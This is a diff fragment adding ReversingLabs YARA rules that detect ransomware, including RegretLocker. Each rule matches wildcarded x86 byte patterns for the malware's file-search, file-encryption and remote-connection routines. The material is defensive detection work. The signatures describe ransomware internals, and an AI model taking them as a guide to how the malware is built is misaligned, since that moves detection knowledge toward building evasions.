+        }
+		$find_files_2 = {
+            81 EC ?? ?? ?? ?? 8D 44 24 ?? 53 55 56 68 ?? ?? ?? ?? 50 8B D9 FF 15 ?? ?? ?? ?? 8B
+            F0 85 F6 0F 84 ?? ?? ?? ?? 8D 6C 24 ?? 8D 6C 75 ?? 33 C0 66 89 44 74 ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 59 E8 ?? ?? ?? ?? 83 C0 ?? 6A ?? 59 66 89
+            45 ?? E8 ?? ?? ?? ?? 83 C0 ?? 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50
+            FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 84 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 83 64 24 ?? ?? 8D 44
+            24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 53
+            FF 15 ?? ?? ?? ?? 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+        }
+		$find_files_3 = {
+            81 EC ?? ?? ?? ?? 53 55 56 8B D9 57 8B FA 85 DB 74 ?? 33 D2 E8 ?? ?? ?? ?? 8B F0 85
+            F6 0F 84 ?? ?? ?? ?? 57 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            83 C4 ?? 8B CE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ??
+            0D ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 0D ?? ?? ?? ?? 50 57 FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 0F
+            84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 80 7E ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? FF 35 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0
+            0F 85 ?? ?? ?? ?? F7 44 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 56
+            57 FF 15 ?? ?? ?? ?? 50 8B D7 8B CB E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? F6 44
+            24 ?? ?? 74 ?? 80 7E ?? ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 56 FF B4 24 ??
+            ?? ?? ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 59 59 EB ?? 80 7E ?? ?? 74 ?? 85 DB 74 ?? 83 7C
+            24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 80 3E ?? 74 ?? 6A ?? 8D 44 24 ??
+            50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 44 24 ?? 50 FF 74 24 ?? FF 94 24 ?? ?? ?? ??
+            83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55
+            FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_*)) and ( all of ($encrypt_files_*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Regretlocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects RegretLocker ransomware."
+		author = "ReversingLabs"
+		id = "c4e515cc-b0c2-57b2-a230-619ec01ac8d4"
+		date = "2021-04-02"
+		modified = "2021-04-02"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.RegretLocker.yara#L1-L206"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3927dfecacd74f60a169f82b68df5747daa90eaba77f24c5e730ce4c48d426a3"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "RegretLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection_p1 = {
+            55 8B EC 8B 41 ?? 8B 55 ?? 3B C2 72 ?? 2B C2 56 8B 75 ?? 3B C6 0F 42 F0 83 79 ?? ??
+            72 ?? 8B 09 56 03 CA 51 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 5E 5D C2 ?? ?? E8 ??
+            ?? ?? ?? CC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 53
+            56 57 50 E8 ?? ?? ?? ?? 83 65 ?? ?? 50 E8 ?? ?? ?? ?? 83 4D ?? ?? 8A D8 59 59 8D 4D
+            ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ??
+            C7 45 ?? ?? ?? ?? ?? 8B CC 6A ?? 83 61 ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88
+            19 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8B 8D ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 6A ?? 5B 3B CB C6 45 ?? ?? 0F 43 C2 80 78 ??
+            ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ??
+            0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB
+            8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 84
+        }
+		$remote_connection_p2 = {
+            8D 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 84 C0 75 ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 3B FB 8D B5 ?? ?? ?? ?? 8B 9D
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 0F 43 C3 83 FF ?? 0F 43 F3 0F 43 D3 33 C9 8A 40 ?? 3A
+            46 ?? 0F BE 42 ?? 0F 94 C1 3B C8 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ??
+            ?? 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ?? ?? 74 ?? 32 DB EB ?? B3 ?? F6
+            45 ?? ?? 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5F 6A ?? 33 DB 89 BD
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ?? ?? ??
+            88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B B5 ?? ?? ?? ?? C6 45 ?? ?? 83 FE ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 84 C0 74 ?? 6A ?? 5E 83 EC ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ??
+            ?? ?? 88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ??
+            89 59 ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
+        }
+		$remote_connection_p3 = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 83 EE ?? 75 ?? 8B B5 ?? ?? ?? ?? 8D 46 ?? 83 F8 ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 59 59 89 5D ?? 89 7D ?? 88 9D ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89
+            5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 8B
+            F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ??
+            ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ??
+            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45
+        }
+		$remote_connection_p4 = {
+            89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D
+            ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 50 8D 45 ?? 89 4D ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 6A
+            ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? C6 45
+            ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8B 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F 43 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 50 53 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 8B 75 ?? 0F 43 85 ?? ??
+            ?? ?? 6A ?? 6A ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 40 8D 8D ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ?? ?? ?? 59 53 FF 75 ?? 8D 8D ?? ?? ?? ?? A3 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 1C 01 E8 ?? ??
+            ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 59 8B 75 ??
+            8D 4D ?? C6 45 ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? 89 70 ?? 8B 45 ??
+            89 30 8B 45 ?? 89 70 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 58 50 68 ?? ?? ?? ?? 83 EC ?? 89
+        }
+		$remote_connection_p5 = {
+            5D ?? 8B CC FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B F8 6A ?? 58
+            FF 35 ?? ?? ?? ?? 85 FF 0F 44 F8 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 5E 6A ?? 68
+            ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ??
+            C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8
+            ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ??
+            ?? ?? ?? 8D 4D ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50
+            8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 50 83 C1 ?? E8 ?? ??
+            ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ??
+            68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ??
+            ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1
+            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45
+            ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7
+            45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D
+            ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B F0 6A ?? 58 6A ?? 5F 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? 88 45 ?? 89 5D ?? 89 7D ??
+            88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ??
+            8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8
+            ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? 89 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83
+            EC ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? 89 79 ?? 68 ?? ?? ?? ?? 88 19 E8
+        }
+		$encrypt_files_p1 = {
+            8B FB 89 5D ?? 89 7D ?? 89 5D ?? 8B 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C6 45 ?? ?? 89
+            45 ?? 3B F0 74 ?? 56 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ??
+            8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ?? ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D
+            4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ?? ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 6A
+            ?? 58 03 F0 3B 75 ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8B B5 ?? ?? ?? ??
+            C6 45 ?? ?? 8B 06 89 45 ?? EB ?? 8D 48 ?? 8D 41 ?? 50 51 68 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ?? 8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ??
+            ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D 4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ??
+            ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 3B C6 75 ?? 8B 75
+            ?? EB ?? 83 7E ?? ?? 74 ?? 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 75 ?? 0F 57 C0 68 ??
+            ?? ?? ?? 66 0F 13 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 6A ?? 59 99
+            F7 F9 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 8B
+            75 ?? 8B 7D ?? 89 45 ?? 3B D8 74 ?? 83 EC ?? 8B CC 53 83 61 ?? ?? 83 61 ?? ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 03 F8 83 D6 ?? 6A ?? 58 03 D8 3B 5D ?? 75 ?? 0F AC
+            F7 ?? C1 EE ?? 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? 8B 35
+            ?? ?? ?? ?? EB ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 6A ?? 58 03 F0 3B F7 75 ?? 68 ?? ?? ?? ?? E8
+        }
+		$encrypt_files_p2 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 8D 8D ?? ?? ?? ?? 57
+            56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 33 DB 50 8D 45 ?? 89 5D ?? 50 E8 ?? ?? ?? ?? 59
+            59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 6A ?? 89 59 ?? C7 41
+            ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? 8A D8 E8 ?? ?? ?? ?? 84 DB 74 ?? 33 DB E9 ??
+            ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85
+            C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ??
+            ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 33 DB 8B CC 89 5D ?? 56 E8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 3B C1 0F 42 C8 3B C7 89
+            4D ?? 0F 42 F8 89 7D ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 39 9D ?? ?? ?? ?? 75 ?? 83 EC ?? 8B CC 56 E8 ?? ?? ??
+            ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ?? C6 45 ?? ?? 72 ?? 8B 36 E8
+            ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 77 ?? 56 E8 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ??
+            ?? 8B 4D ?? 56 53 51 89 45 ?? E8 ?? ?? ?? ?? 56 53 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ??
+            83 C4 ?? 89 5D ?? 8B D3 85 C0 0F 84 ?? ?? ?? ?? 8B C8 2B CA 39 4D ?? 8B C1 8B F1 0F
+            46 45 ?? 3B F9 89 45 ?? 0F 46 F7 8B 7D ?? 2B CE 89 75 ?? 39 4D ?? 0F 46 4D ?? 89 4D
+            ?? 85 FF 75 ?? 53 56 FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 0C 3E 8B
+        }
+		$encrypt_files_p3 = {
+            C4 89 4D ?? 89 08 8D 8D ?? ?? ?? ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? E8
+            ?? ?? ?? ?? 53 FF 75 ?? 8D 8D ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 FF 75
+            ?? 8D 8D ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 8B D4 8B D8
+            33 C0 03 CF 89 0A 8D 8D ?? ?? ?? ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? E8
+            ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 7D ?? 2B 75 ?? 03
+            7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? 56 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75
+            ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 01 45 ?? 53 E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 8B 84 05 ?? ?? ?? ?? C1 E8 ?? A8 ?? 74 ?? 83 EC ??
+            8B CC FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ??
+            C6 45 ?? ?? 72 ?? 8B 36 E8 ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 7D ??
+            89 55 ?? 6A ?? 5B 3B D0 0F 82 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ??
+            E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC
+            ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ??
+            ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 8B 48 ?? C6 45 ?? ?? 72 ??
+            8B 00 51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ??
+            8D 45 ?? 0F 43 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 89 59 ??
+            89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? B3 ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 8A D8 8D 4D ?? E8
+            ?? ?? ?? ?? 8B 4D ?? 8A C3 5F 5E 64 89 0D ?? ?? ?? ?? 5B C9 C3
+        }
+		$find_files = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ??
+            41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
+            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ??
+            56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50
+            50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5
+            89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA
+            ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF
+            80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41
+            F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ??
+            ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56
+            FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ??
+            2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9
+            74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
+            ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B
+            C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
+            ?? E9
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+}
